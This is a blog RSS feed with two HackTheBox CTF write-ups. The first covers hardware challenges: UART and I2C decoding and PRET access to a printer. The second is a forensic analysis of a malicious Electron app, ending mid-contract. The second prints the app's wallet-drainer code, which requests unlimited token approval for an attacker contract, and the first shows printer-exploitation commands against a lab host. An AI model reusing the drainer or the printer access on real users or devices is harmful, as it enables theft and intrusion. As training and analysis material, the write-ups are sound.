<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Write-Up on Flock137</title><link>https://flock137.github.io/tags/write-up/</link><description>Recent content in Write-Up on Flock137</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 28 Sep 2026 00:00:00 +0700</lastBuildDate><atom:link href="https://flock137.github.io/tags/write-up/index.xml" rel="self" type="application/rss+xml"/><item><title>HackTheBox's Cyber Apocalypse 2026 - Hardware</title><link>https://flock137.github.io/posts/cyber_apocalypse_2026/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0700</pubDate><guid>https://flock137.github.io/posts/cyber_apocalypse_2026/</guid><description>&lt;p&gt;Disclaimer: This write-up will be a bit brief. I will comeback to &lt;em&gt;actually&lt;/em&gt; finish this write-up later. Ughh, should have written it when I have just finished:(&lt;/p&gt;
&lt;h2 id="cadence-in-the-cord"&gt;Cadence in the cord&lt;/h2&gt;
&lt;p&gt;Description:
With the Brine Signet shattered, every house hunts whatever might make its story law. Lady Seralyne — the Velvet Spider of Suncourt — sells what she claims is the dragon&amp;rsquo;s true note: not the lost thing itself, only a counterfeit cadence arranged to be believed, and a wavering house is ready to buy it as proof its claim rings true. We cut one of her sendings from the wire first. Read the pleasant words; then attend to the silences between them, and expose the forgery she is truly selling.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: This write-up will be a bit brief. I will comeback to <em>actually</em> finish this write-up later. Ughh, should have written it when I have just finished:(</p>
<h2 id="cadence-in-the-cord">Cadence in the cord</h2>
<p>Description:
With the Brine Signet shattered, every house hunts whatever might make its story law. Lady Seralyne — the Velvet Spider of Suncourt — sells what she claims is the dragon&rsquo;s true note: not the lost thing itself, only a counterfeit cadence arranged to be believed, and a wavering house is ready to buy it as proof its claim rings true. We cut one of her sendings from the wire first. Read the pleasant words; then attend to the silences between them, and expose the forgery she is truly selling.</p>
<p>For this challenge we will be provided a <code>capture.sr</code> file, which is a sigrok file (and, no, please don&rsquo;t extract the files, as it&rsquo;s not a normal archive). In order to read it, you need to install <code>sigrok</code>.</p>
<p>(On Linux, your distro repository should have it already, if they don&rsquo;t, sigrok has an appimage if I&rsquo;m not mistaken. )</p>
<p>After you done with that open up the file in sigrok. You should see the two channels named 0 and D1. And, by looking at it, I concluded that it was an UART signal. Use the &ldquo;Decoder Selector&rdquo; (the yellow-green standing wave icon) and pick UART. Then set TX as D1 and RX as 0. In order to know the exact baud rate, you need to measure the shortest pulse, by clicking on the blue flags icon and drag them around. Like this:</p>
<p><img loading="lazy" src="/posts/cyber_apocalypse_2026/images/sigrok-blue-flags-icon.png" type="" alt=""  /></p>
<p>Then use the large value minus the small value, and compare that result (bit duration) to a <a href="https://lucidar.me/en/serialib/most-used-baud-rates-table/">baud rate table</a>, we got 9600 baud. Finally, optionally, set the data format to ASCII, to read the red herring (or hint) message:) (the <a href="https://underscores.plus/">underscores</a> were my own notation for the space, initially)</p>
<pre tabindex="0"><code>To_the_buyer_who_paid_in_secrets:_what_follows_is_the_pleasant_tone_,
_the_goods_I_sell_in_day_light_and_never_miss. 
Lord Varo&#39;s debt, due at the second thaw, yours for a marriage you already
own. The Harlow inheritance, contested by a cousin whose witnesses I arranged. 
Take them and thank me. But what is written is worth nothing.
The dragon&#39;s true note does not Live in the words; it lives in the rests between them.
A long rest raises the mark to one, a short rest lets it fall to nothing;
count eight rests to every letter before the note will speak.
Read the silence, not the song, and pay.
</code></pre><p>Took me a good 2 hours of frustration to figure this out.</p>
<p>You need to pay attention to what the last 3 sentences were implying at. The &ldquo;rest&rdquo; here means the signal line in-between the words&rsquo; pulses. Like, the signal cover by the blue area below:</p>
<p><img loading="lazy" src="/posts/cyber_apocalypse_2026/images/rests.png" type="" alt=""  /></p>
<p>Long rest count as 1 and short rest count as 0. Collect all of the signal 1 and 0, we have a binary string:</p>
<pre tabindex="0"><code>0111100101101111011101010010000001110010011001010110000101100100001000000111010001101000011001010010000001110011011010010110110001100101011011100110001101100101001000000111011101100101011011000110110000100000010010000101010001000010011110110111010001101000001100110101111101100110001100010111001001110011011101000101111101101101001101000111001001101011010111110111001000110001011011100110011101110011010111110111010001110010011101010011001101011111011000100011001101101110001100110011010001110100011010000101111101110100011010000011001101011111011101110011000001110010011001000111001101111101
</code></pre><p>Convert to text:</p>
<pre tabindex="0"><code>you read the silence well 
HTB{th3_f1rst_m4rk_r1ngs_tru3_b3n34th_th3_w0rds}
</code></pre><h2 id="thermal-receipt-printer">Thermal Receipt (Printer)</h2>
<p>Description:
Keir and his undercity runners recovered a forgotten Eastreach ration kiosk after Damas Marrowcairn sent clerks to strip the counting terminal and burn the paper ledger. They missed a small peripheral bolted beneath the counter. If the device still remembers the right transaction, it may hold the authorization token needed to move supplies through Crownspire sealed checkpoints.</p>
<p>To begin, I actually do not remember how exactly I figure this out to be a printer service&hellip; The only things I can remember are that I was given an instance with an IP and, possibly, a specific port, to which I can neither ping nor do anything meaningful with it. So I input to the LLM the challenge description along with some of my initial guesswork that was previously mentioned, and it told me that I might be dealing with a raw printer socket (Yes, I should have had used <code>nmap</code> to inspected the thing, my bad). It was also suggested to me that I&rsquo;m dealing with PJL (Print Job Language), and connect to it with <a href="https://github.com/RUB-NDS/PRET">PRET</a>.</p>
<p>Connection syntax:</p>
<pre tabindex="0"><code> python3 pret.py 154.57.164.83:32306 pjl
</code></pre><p>Welcome screen:</p>
<pre tabindex="0"><code>      ________________                                             
    _/_______________/|                                            
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller &lt;jens.a.mueller@rub.de&gt; 
  |           |   ô| ||                                            
  |___________|   ô| ||                                            
  | ||/.´---.||    | ||      「 pentesting tool that made          
  |-||/_____\||-.  | |´         dumpster diving obsolete‥ 」       
  |_||=L==H==||_|__|/                                              
                                                                   
     (ASCII art by                                                 
     Jan Foerster)                                                 
                                                                   
Connection to 154.57.164.83:32306 established
Device:   RiverGate RG-T80II Thermal Receipt Printer

Welcome to the pret shell. Type help or ? to list commands.
</code></pre><p>Then I tried some commands:</p>
<pre tabindex="0"><code>154.57.164.83:32306:/&gt; ls
d        -   config
d        -   journal
-       97   readme.txt
d        -   spool
154.57.164.83:32306:/&gt; cat readme.txt
RiverGate RG-T80II raw printer volume.
Electronic journal retention is enabled under 0:/journal.
154.57.164.83:32306:/&gt; id
RiverGate RG-T80II Thermal Receipt Printer
154.57.164.83:32306:/&gt; info config
MODEL=RG-T80II
FIRMWARE=3.18
SERIALNUMBER=RGT80-042-9100
PERSONALITY=PJL,PCL,ESC/POS
EJOURNAL=ON
154.57.164.83:32306:/&gt; printenv
LANG=PJL
RET=ON
EJOURNAL=ON
EJINDEX=NVRAM
</code></pre><pre tabindex="0"><code>154.57.164.83:32306:/&gt; cd spool
154.57.164.83:32306:/spool&gt; ls
-       79   README.txt
154.57.164.83:32306:/spool&gt; cat README.txt
Active jobs are removed after cut. Closed receipts are retained in 0:/journal.
154.57.164.83:32306:/spool&gt; cd ..
154.57.164.83:32306:/&gt; cd journal/
154.57.164.83:32306:/journal&gt; ls
-       17   last.txt
-      191   receipt_0000.txt
-      192   receipt_0001.txt
-      195   receipt_0002.txt
-      241   receipt_0003.txt
154.57.164.83:32306:/journal&gt; cat last.txt
receipt_0003.txt
EASTREACH RATION KIOSK
------------------------------
DATE: 2026-06-01 00:17:33
GATE: ASH-03
CARGO: BRINE FILTERS
SEAL FEE: 42.10
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
------------------------------
</code></pre><p>I also read other receipt as well, but I only leave the result of receipt_003 here because it is more important than the rest. Notice the:</p>
<pre tabindex="0"><code>AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
</code></pre><p>Now that&rsquo;s some very interesting lines, isn&rsquo;t it?</p>
<pre tabindex="0"><code>NVRAM operations:  nvram &lt;operation&gt;
  nvram dump [all]         - Dump (all) NVRAM to local file.
  nvram read addr          - Read single byte from address.
  nvram write addr value   - Write single byte to address.
</code></pre><p>Read the NVRAM:</p>
<pre tabindex="0"><code>154.57.164.83:32306:/journal&gt; nvram read 53264 60
ADDRESS=53264 DATA=72
ASCII=&#34;HTB{th3rm4l_j0urn4l_r3c4ll_f346e32e7a4fbc55f3f47291c0e88c75}&#34;
</code></pre><h2 id="what-the-shard-displayed">What the shard displayed</h2>
<p>Description:
The Signet shattered, the great houses fell to arguing with steel, and Alyss, Queen of Quiet Marches, began sending her dead to watch the living. One of her crows fell over our winter line, a maker&rsquo;s device bound beneath its wing — an eye she threaded through dead flesh to count our banners. Fed a current, it still wakes: it checks its roost, marks the hour it last saw us, and paints what it saw onto its pane. Reconstruct it, and learn what her eye found of us before the Hollow Host moves.</p>
<p>It&rsquo;s yet another sigrok file. But it&rsquo;s I2C this time.</p>
<p>For this one, my own explanation of the challenge won&rsquo;t be suffice and you should read the official write up from HackTheBox themeselves. Because while I was able to obtain the flag, basically how I solve this challenge was throwing things at the data read / data write and playing around with the python script until something works out. It was&hellip; very guessy.</p>
<p>This is my image of the flag:</p>
<p><img loading="lazy" src="/posts/cyber_apocalypse_2026/images/flag.png" type="" alt=""  /></p>
<blockquote>
<p>HTB{3v3ry_crow_w3ar5_h3r_3y3s}</p></blockquote>
]]></content:encoded></item><item><title>HackTheBox's Sherlock 2026 Write-up</title><link>https://flock137.github.io/posts/sherlock-2026/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0700</pubDate><guid>https://flock137.github.io/posts/sherlock-2026/</guid><description>&lt;p&gt;Honestly, it recently feels sooooo boring writing a CTF challenge write-up. You know, with the rise of AI, doing all of these is kinda pointless now.&lt;/p&gt;
&lt;p&gt;Well, at least luckily, I&amp;rsquo;m a project-person.&lt;/p&gt;
&lt;h1 id="1"&gt;1&lt;/h1&gt;
&lt;p&gt;Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes? (string) - &lt;code&gt;FILE_NOTIFY_INFORMATION&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which Win32 API is used by the Lua script to send an HTTP request to the remote server? (string) - &lt;code&gt;WinHttpSendRequest&lt;/code&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>Honestly, it recently feels sooooo boring writing a CTF challenge write-up. You know, with the rise of AI, doing all of these is kinda pointless now.</p>
<p>Well, at least luckily, I&rsquo;m a project-person.</p>
<h1 id="1">1</h1>
<p>Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes? (string) - <code>FILE_NOTIFY_INFORMATION</code></p>
<p>Which Win32 API is used by the Lua script to send an HTTP request to the remote server? (string) - <code>WinHttpSendRequest</code></p>
<p>What token function does the HTML page call to request spending permission? (function()) - <code>approve()</code></p>
<p>What ethers.js v6 provider class is used to connect to the browser wallet? (string) - <code>BrowserProvider</code></p>
<p>-&gt; Theoretical knowledge</p>
<p>Extracted the exe using binwalk, you found the 7z archive, then continue to extract <code>app.asar</code> within resources using the command <code>npx asar extract app.asar app_extracted</code> (<code>npx</code> is found within package <code>npm</code>)</p>
<p>To which directory does the application copy the files bundled within the extraResources folder? <code>(*:\path\to\dir)</code> - <code>C:\\Users\\Public</code> - Found in <code>~/Downloads/SilentDividend/danger/extractions/TrustSettle 1.0.0.exe.extracted/C540/resources/app_extracted/preload.js</code></p>
<p>Which smart contract function does the Electron application invoke to retrieve the decryption key for the encrypted payload? (<code>function()</code>) - <code>resolveState()</code> - Found at the same location as the previous</p>
<h2 id="decoding-encrypted-data">Decoding encrypted data</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└─➜ node -e <span style="color:#e6db74">&#34;console.log(require(&#39;ethers&#39;).id(&#39;resolveState()&#39;).slice(0,10))&#34;</span>                                  <span style="color:#f92672">[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>0x77b3774c
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>└─➜ curl -X POST https://ethereum-sepolia-rpc.publicnode.com <span style="color:#ae81ff">\ </span>                                                <span style="color:#f92672">[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -d <span style="color:#e6db74">&#39;{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;jsonrpc&#34;: &#34;2.0&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;method&#34;: &#34;eth_call&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;params&#34;: [{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      &#34;to&#34;: &#34;0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      &#34;data&#34;: &#34;0x77b3774c&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    }, &#34;latest&#34;],
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;id&#34;: 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;jsonrpc&#34;</span>:<span style="color:#e6db74">&#34;2.0&#34;</span>,<span style="color:#e6db74">&#34;id&#34;</span>:1,<span style="color:#e6db74">&#34;result&#34;</span>:<span style="color:#e6db74">&#34;0x3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4&#34;</span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Thats our key (the last line)</p>
<p>The encrypted data lies within preload.js (the same file as above)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>key <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4&#34;</span>)
</span></span><span style="display:flex;"><span>data <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> bytearray()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(data)):
</span></span><span style="display:flex;"><span>    key_byte <span style="color:#f92672">=</span> key[i <span style="color:#f92672">%</span> len(key)]
</span></span><span style="display:flex;"><span>    step1 <span style="color:#f92672">=</span> data[i] <span style="color:#f92672">^</span> key_byte
</span></span><span style="display:flex;"><span>    step2 <span style="color:#f92672">=</span> ((step1 <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">|</span> (step1 <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">0xff</span>
</span></span><span style="display:flex;"><span>    result<span style="color:#f92672">.</span>append(step2 <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x42</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(result<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Output</span>
</span></span><span style="display:flex;"><span>start <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#e6db74">&#34;%TEMP%\settlement.html&#34;</span> <span style="color:#f92672">&amp;&amp;</span> echo AUTH<span style="color:#f92672">=</span>NAPOLEON SETTLEMENT_REFERENCE<span style="color:#f92672">=</span>SR-4821
</span></span></code></pre></div><p>And we also able to answer the question:</p>
<blockquote>
<p>Which environment variable corresponds to the directory where the application copies the HTML file from its package? (string)</p></blockquote>
<p>That was <code>%TEMP%</code></p>
<h2 id="next">Next</h2>
<blockquote>
<p>What is the exact token amount passed to the approval call? (number)</p></blockquote>
<p>In <code>preload.js</code>, you saw this line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">indexContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fs</span>.<span style="color:#a6e22e">readFileSync</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">join</span>(<span style="color:#a6e22e">__dirname</span>, <span style="color:#e6db74">&#39;src&#39;</span>, <span style="color:#e6db74">&#39;settlement.html&#39;</span>), <span style="color:#e6db74">&#39;utf8&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fs</span>.<span style="color:#a6e22e">writeFileSync</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">resolve</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">resourcesPath</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/../../settlement.html`</span>), <span style="color:#a6e22e">indexContent</span>, <span style="color:#e6db74">&#39;utf8&#39;</span>);
</span></span></code></pre></div><p>So <code>settlement.html</code> is the page that gets copied out and rendered. That&rsquo;s where the ethers.js code for the token approval will be.</p>
<p>Within said file look for <code>approve(</code>. There should be something like:</p>
<pre tabindex="0"><code>await token.approve(spender, amount)
</code></pre><p>Within <code>settlement.html</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">requestApproval</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(<span style="color:#e6db74">&#34;Requesting token approval...&#34;</span>, <span style="color:#e6db74">&#34;loading&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ethers</span>.<span style="color:#a6e22e">Contract</span>(<span style="color:#a6e22e">MOCK_TOKEN_ADDRESS</span>, <span style="color:#a6e22e">MOCK_TOKEN_ABI</span>, <span style="color:#a6e22e">signer</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">unlimitedAmount</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ethers</span>.<span style="color:#a6e22e">MaxUint256</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tx</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">token</span>.<span style="color:#a6e22e">approve</span>(<span style="color:#a6e22e">X0_CONTRACT_ADDRESS</span>, <span style="color:#a6e22e">unlimitedAmount</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">tx</span>.<span style="color:#a6e22e">wait</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">`Approved`</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;success&#34;</span>
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setTimeout</span>(() =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">alert</span>(
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Thank you for approval!&#34;</span>
</span></span><span style="display:flex;"><span>            );
</span></span><span style="display:flex;"><span>        }, <span style="color:#ae81ff">1500</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">err</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(<span style="color:#e6db74">`Error during approval: </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">message</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, <span style="color:#e6db74">&#34;error&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;agreeBtn&#34;</span>).<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The Answer would be whatever is the amount of <code>ethers.MaxUint256</code> - a constant in <code>ethers.js</code> v6. So the value is:</p>
<pre tabindex="0"><code>115792089237316195423570985008687907853269984665640564039457584007913129639935
</code></pre><h2 id="final-question">Final question</h2>
<blockquote>
<p>Analyze the HTML page to uncover a smart contract reference. Investigate the contract&rsquo;s logic and determine how to interact with it to recover the hidden flag. <code>(**.****,*.****)</code></p></blockquote>
<p>The address <code>0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D</code> is referenced as <code>X0_CONTRACT_ADDRESS</code> and is the <strong>spender</strong> in the <code>approve()</code> call.</p>
<p>The challenge hint format <code>(**.****,*.****)</code> might suggests a <strong>function call with arguments</strong> — likely something like <code>getFlag(bytes32)</code> or a two-argument function.</p>
<p>Go to this address:</p>
<pre tabindex="0"><code>https://sepolia.etherscan.io/address/0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D
</code></pre><p>Look at the Contract tab. You would find <code>wallet.sol</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// SPDX-License-Identifier: MIT
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">pragma</span> <span style="color:#a6e22e">solidity</span> <span style="color:#f92672">^</span><span style="color:#ae81ff">0.8</span>.<span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">contract</span> <span style="color:#a6e22e">MockToken</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">uint256</span>) <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">balanceOf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">uint256</span>)) <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">allowance</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">constructor</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1000</span> <span style="color:#a6e22e">ether</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">approve</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">spender</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bool</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>][<span style="color:#a6e22e">spender</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">transferFrom</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">from</span>, <span style="color:#a6e22e">address</span> <span style="color:#a6e22e">to</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bool</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">from</span>][<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">&gt;=</span> <span style="color:#a6e22e">amount</span>, <span style="color:#e6db74">&#34;not approved&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">from</span>] <span style="color:#f92672">&gt;=</span> <span style="color:#a6e22e">amount</span>, <span style="color:#e6db74">&#34;insufficient balance&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">from</span>][<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">-=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">from</span>] <span style="color:#f92672">-=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">to</span>] <span style="color:#f92672">+=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">mint</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">to</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">to</span>] <span style="color:#f92672">+=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">contract</span> <span style="color:#a6e22e">x0</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">MockToken</span> <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">x1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes32</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x2</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes32</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x3</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x4</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">event</span> <span style="color:#a6e22e">x5</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">indexed</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">constructor</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x6</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">MockToken</span>(<span style="color:#a6e22e">x6</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x7</span>() <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">view</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">address</span>) {
